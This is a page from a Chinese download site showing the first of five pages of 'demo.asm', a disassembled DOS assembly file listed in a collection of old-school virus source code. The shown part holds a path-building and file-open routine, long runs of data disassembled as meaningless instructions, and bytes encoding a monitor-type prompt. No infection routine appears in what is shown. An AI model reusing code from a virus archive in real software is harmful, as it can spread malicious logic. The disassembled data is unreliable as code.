⭐ 欢迎来到虫虫下载站！ | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站
📤 上传资源

📄 demo.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 5 页
字号:
🔍
12345 
		DEC	BX
LOC_25:
		CMP	AL,5AH			; 'Z'
		JBE	LOC_26			; Jump if below or =
		SUB	AL,20H			; ' '
LOC_26:
		MOV	WORD PTR DATA_7,AX	; (97DE:01F9=0)
		MOV	DI,1FBH
		CMP	BYTE PTR [BX],5CH	; '\'
		JE	LOC_28			; Jump if equal
		MOV	BYTE PTR [DI],5CH	; '\'
		INC	DI
		SUB	AL,40H			; '@'
		MOV	DL,AL
		MOV	AH,47H			; 'G'
		PUSH	SI
		MOV	SI,DI
		INT	21H			; DOS Services  ah=function 47h
						;  get present dir,drive dl,1=a:
		POP	SI
		DEC	DI
LOC_27:
		INC	DI
		CMP	BYTE PTR [DI],0
		JNE	LOC_27			; Jump if not equal
		CMP	BYTE PTR [DI-1],5CH	; '\'
		JE	LOC_28			; Jump if equal
		MOV	BYTE PTR [DI],5CH	; '\'
		INC	DI
LOC_28:
		MOV	AL,[BX]
		INC	BX
		MOV	[DI],AL
		INC	DI
		OR	AL,AL			; Zero ?
		JNZ	LOC_28			; Jump if not zero
		DEC	DI
		CMP	BYTE PTR [DI-1],5CH	; '\'
		JE	LOC_29			; Jump if equal
		MOV	BYTE PTR [DI],5CH	; '\'
		INC	DI
LOC_29:
		MOV	BX,DATA_15		; (97DE:0493=0)
LOC_30:
		MOV	AL,[BX]
		INC	BX
		MOV	[DI],AL
		INC	DI
		OR	AL,AL			; Zero ?
		JNZ	LOC_30			; Jump if not zero
		MOV	DX,1F9H
		MOV	AX,3D00H
		INT	21H			; DOS Services  ah=function 3Dh
						;  open file, al=mode,name@ds:dx
		RETN
SUB_5		ENDP
  
		AND	[BX],AL
		AND	[BX],AL
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		AND	[BX],AL
		INC	DX
		POP	ES
		INC	BP
		POP	ES
		INC	SI
		POP	ES
		DEC	DI
		POP	ES
		PUSH	DX
		POP	ES
		INC	BP
		POP	ES
		AND	[BX],AL
		POP	CX
		POP	ES
		DEC	DI
		POP	ES
		PUSH	BP
		POP	ES
		AND	[BX],AL
		INC	DX
		POP	ES
		INC	BP
		POP	ES
		INC	DI
		POP	ES
		DEC	CX
		POP	ES
		DEC	SI
		POP	ES
		AND	[BX],AL
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		INT	7
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		AND	[BX],AL
		DEC	CX
;*		POP	CS			; Dangerous 8088 only
		DB	0FH
		DB	 66H, 0FH, 20H, 0FH, 79H, 0FH
		DB	 6FH, 0FH, 75H, 0FH, 72H, 0FH
		DB	 20H, 0FH, 6DH, 0FH, 6FH, 0FH
		DB	 6EH, 0FH, 69H, 0FH, 74H, 0FH
		DB	 6FH, 0FH, 72H, 0FH, 20H, 0FH
		DB	 69H, 0FH, 73H, 0FH, 3AH, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 49H, 0FH
		DB	 66H, 0FH, 20H, 0FH, 79H, 0FH
		DB	 6FH, 0FH, 75H, 0FH, 72H, 0FH
		DB	 20H, 0FH, 6DH, 0FH, 6FH, 0FH
		DB	 6EH, 0FH, 69H, 0FH, 74H, 0FH
		DB	 6FH, 0FH, 72H, 0FH, 20H, 0FH
		DB	 69H, 0FH, 73H, 0FH, 3AH, 0FH
		DB	 20H, 0FH, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 4DH, 0FH
		DB	 4FH, 0FH, 4EH, 0FH, 4FH, 0FH
		DB	 43H, 0FH, 48H, 0FH, 52H, 0FH
		DB	 4FH, 0FH, 4DH, 0FH, 45H, 0FH
		DB	 20H, 0FH, 6FH, 0FH, 72H, 0FH
		DB	 20H, 0FH, 50H, 0FH, 4FH, 0FH
		DB	 52H, 0FH, 54H, 0FH, 41H, 0FH
		DB	 42H, 0FH, 4CH, 0FH, 45H, 0FH
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 43H, 0FH, 4FH, 0FH
		DB	 4CH, 0FH, 4FH, 0FH, 52H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 0FH
		DB	 20H, 0FH, 20H, 0FH, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
		DB	 20H, 07H, 20H, 07H, 20H, 07H
12345

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -